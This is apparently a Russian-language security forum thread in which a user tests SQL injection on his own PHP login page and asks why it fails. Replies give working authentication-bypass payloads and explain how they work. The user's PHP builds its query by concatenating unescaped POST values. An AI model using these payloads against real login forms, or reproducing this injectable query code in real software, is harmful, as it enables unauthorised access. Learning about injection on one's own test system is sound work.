читал я статью https://forum.antichat.ru/thread43966.html и решил попробовать 1.3 Третий случай (Авторизация) сдалал на своём хостинге форму входа http://mai1-ru.h2m.ru/yyy.php исходный код PHP: <?session_start();?> <html> <body text ="black" bgcolor="#8B8989" link ="#FFFF00" vlink="#FFFF00"> Авторизация </td> </tr> <? if(isset($_GET['logout'])) { session_start(); unset($_SESSION['id']); session_destroy(); header("Location: yyy.php"); } elseif(isset($_SESSION['id'])) { echo "Вы успешно авторизовались"; ?> <a href='yyy.php?logout'><b>Выйти</b></a> <? } else { ?> <form action = "action.php" method = "post"> <input type ="hidden" name ="mod" value ="vhod"> <b>Логин:</b> <br> <input type="text" name = "user_login" value="" MAXLENGTH = "10" SIZE = "15"> <br> <b>Пароль:</b> <br> <input type="password" name = "user_pass" value="" MAXLENGTH = "20" SIZE = "15"> <br> <input type="submit" value="Вход"> </form> <? } ?> </body> </html> файл action.php PHP: <? session_start(); include ("dbconnect.php"); $modd = !empty($_POST['mod'])?$_POST['mod']:NULL; $e = !empty($_POST['user_login'])?$_POST['user_login']:NULL; $er = !empty($_POST['user_pass'])?$_POST['user_pass']:NULL; $query = "SELECT `id` FROM `user`WHERE `user`='$e' AND `pass`='$er' LIMIT 1"; $sql = mysql_query($query); if (mysql_num_rows($sql) == 1) { $row = mysql_fetch_assoc($sql); $_SESSION['id'] = $row['id']; header("Location: yyy.php"); } else { echo "Такой логин с паролем не найдены в базе данных"; } ?> перепробовал все примеры введения иньекции, но ничего не происходит, почему? в статье штото не правильно написано? покажите мне плыз как и што надо вводить штоб например войти под админом login: pass user:123 admin:12345
Потому что, у тебя проверка PHP: if (mysql_num_rows($sql) == 1) Тоесть запрос должен возвращать одну запись Вариантов тут много: login: 'or(1)limit 1-- a password: pew login: \ password: or(1)limit 1-- a login: ' union select 1-- a password: pew При втором варианте ковычка от логина закроется кавычкой от пасса, и в пасс вписывается злозапрос. Вы чему людей учите?
ага, тоесть запрос у меня получается такой SELECT `id` FROM `user` WHERE `user`= ''or(1)limit 1-- a' AND `pass`= 'pew' LIMIT 1 а тут or(1)limit 1-- a што значит ета идиница or(1) и буква --а
Это значит, что надо открыть ман по майскулу и прочитать. /* Ах да, это же, конечно, хардкорнее чем спрашивать на форуме */ Добавлением условия or, которое заведомо тру мы возвращаем записи из таблицы, что и требовал от нас для авторизации твой "тру-программерс" код. Для чего здесь нужен лимит я уже написал в прошлом посте, чтобы запрос не возвращал больше одной записи(опять-таки условие твоего "кода"). А "-- " коментарий, после которого должен быть пробел. А что стоит после коментария - это не важно, хоть -- a vot tut lubaya hueta
а вот такой вопрос SELECT `id` FROM `user` WHERE `user`= '' union select 1-- +' AND `pass`= 'pew' LIMIT 1 ' ' union select 1-- +' AND `pass`= 'pew' остаётся одна ковичка которая незакрывается, почему не возникает синтактической ошибки?